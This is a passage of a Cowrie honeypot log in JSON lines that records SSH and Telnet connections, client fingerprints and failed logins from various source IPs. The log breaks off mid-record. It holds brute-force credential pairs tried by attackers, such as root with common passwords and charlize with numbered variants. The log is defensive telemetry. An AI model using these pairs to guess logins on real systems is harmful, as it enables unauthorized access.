{"eventid":"cowrie.session.closed","duration":47.94973134994507,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:21:21.216493Z","src_ip":"152.42.224.71","session":"b3719a4e2f81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30188,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b4ddd073d1e","protocol":"ssh","message":"New connection: 194.59.206.2:30188 (159.203.135.109:22) [session: 2b4ddd073d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:15.721306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:15.726645Z","src_ip":"194.59.206.2","session":"2b4ddd073d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:15.860080Z","src_ip":"194.59.206.2","session":"2b4ddd073d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:15.977185Z","src_ip":"194.59.206.2","session":"2b4ddd073d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":63263,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f4aa4a95e08","protocol":"ssh","message":"New connection: 213.209.159.56:63263 (159.203.135.109:22) [session: 7f4aa4a95e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:16.316999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:16.321880Z","src_ip":"213.209.159.56","session":"7f4aa4a95e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:16.404263Z","src_ip":"213.209.159.56","session":"7f4aa4a95e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize","message":"login attempt [charlize/charlize] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:16.803397Z","src_ip":"213.209.159.56","session":"7f4aa4a95e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize1","message":"login attempt [charlize/charlize1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:17.889426Z","src_ip":"213.209.159.56","session":"7f4aa4a95e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize123","message":"login attempt [charlize/charlize123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:18.974289Z","src_ip":"213.209.159.56","session":"7f4aa4a95e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize1234","message":"login attempt [charlize/charlize1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:20.061860Z","src_ip":"213.209.159.56","session":"7f4aa4a95e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize12345","message":"login attempt [charlize/charlize12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:21.146866Z","src_ip":"213.209.159.56","session":"7f4aa4a95e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:22.233044Z","src_ip":"213.209.159.56","session":"7f4aa4a95e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55786,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99c3bbe21b2","protocol":"telnet","message":"New connection: 152.42.224.71:55786 (10.17.0.5:23) [session: f99c3bbe21b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:23.006181Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50118,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d7b48458b1f","protocol":"telnet","message":"New connection: 152.42.224.71:50118 (10.17.0.5:23) [session: 0d7b48458b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:22:56.851138Z"}
{"eventid":"cowrie.session.closed","duration":38.60952591896057,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:01.615577Z","src_ip":"152.42.224.71","session":"f99c3bbe21b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":51710,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bfc9f56007e","protocol":"ssh","message":"New connection: 89.108.118.91:51710 (10.17.0.5:22) [session: 1bfc9f56007e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:23.123154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:23.128327Z","src_ip":"89.108.118.91","session":"1bfc9f56007e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:23.270655Z","src_ip":"89.108.118.91","session":"1bfc9f56007e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33782,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e18c990bd82","protocol":"ssh","message":"New connection: 51.250.105.222:33782 (159.203.135.109:22) [session: 2e18c990bd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:23.725663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:23.730750Z","src_ip":"51.250.105.222","session":"2e18c990bd82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz3edc","message":"login attempt [root/1qaz3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:23.760610Z","src_ip":"89.108.118.91","session":"1bfc9f56007e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:23.851490Z","src_ip":"51.250.105.222","session":"2e18c990bd82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123zxc","message":"login attempt [root/zxc123zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:24.216326Z","src_ip":"51.250.105.222","session":"2e18c990bd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:24.906258Z","src_ip":"89.108.118.91","session":"1bfc9f56007e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:25.338100Z","src_ip":"51.250.105.222","session":"2e18c990bd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.04522776603699,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:35.896238Z","src_ip":"152.42.224.71","session":"0d7b48458b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":33618,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e2e897ca35b","protocol":"ssh","message":"New connection: 80.66.85.226:33618 (10.17.0.5:22) [session: 8e2e897ca35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:48.150141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:48.154675Z","src_ip":"80.66.85.226","session":"8e2e897ca35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:48.248937Z","src_ip":"80.66.85.226","session":"8e2e897ca35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhufhbnf","message":"login attempt [root/vfhufhbnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:48.529485Z","src_ip":"80.66.85.226","session":"8e2e897ca35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:23:49.627672Z","src_ip":"80.66.85.226","session":"8e2e897ca35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":45882,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bb653f51075","protocol":"ssh","message":"New connection: 103.75.182.198:45882 (10.17.0.5:22) [session: 6bb653f51075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:24:44.239542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:24:44.244011Z","src_ip":"103.75.182.198","session":"6bb653f51075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:24:44.491173Z","src_ip":"103.75.182.198","session":"6bb653f51075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08mart1980","message":"login attempt [root/08mart1980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:24:45.234052Z","src_ip":"103.75.182.198","session":"6bb653f51075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:24:46.484692Z","src_ip":"103.75.182.198","session":"6bb653f51075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":60518,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b675db1c1a2","protocol":"ssh","message":"New connection: 62.133.63.178:60518 (10.17.0.5:22) [session: 5b675db1c1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:09.960972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:09.966356Z","src_ip":"62.133.63.178","session":"5b675db1c1a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:10.084277Z","src_ip":"62.133.63.178","session":"5b675db1c1a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"98765432","message":"login attempt [root/98765432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:10.441844Z","src_ip":"62.133.63.178","session":"5b675db1c1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:11.564070Z","src_ip":"62.133.63.178","session":"5b675db1c1a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":60142,"dst_ip":"10.17.0.5","dst_port":22,"session":"458ecfd95dfb","protocol":"ssh","message":"New connection: 103.183.114.55:60142 (10.17.0.5:22) [session: 458ecfd95dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:16.585633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:25:16.591088Z","src_ip":"103.183.114.55","session":"458ecfd95dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-c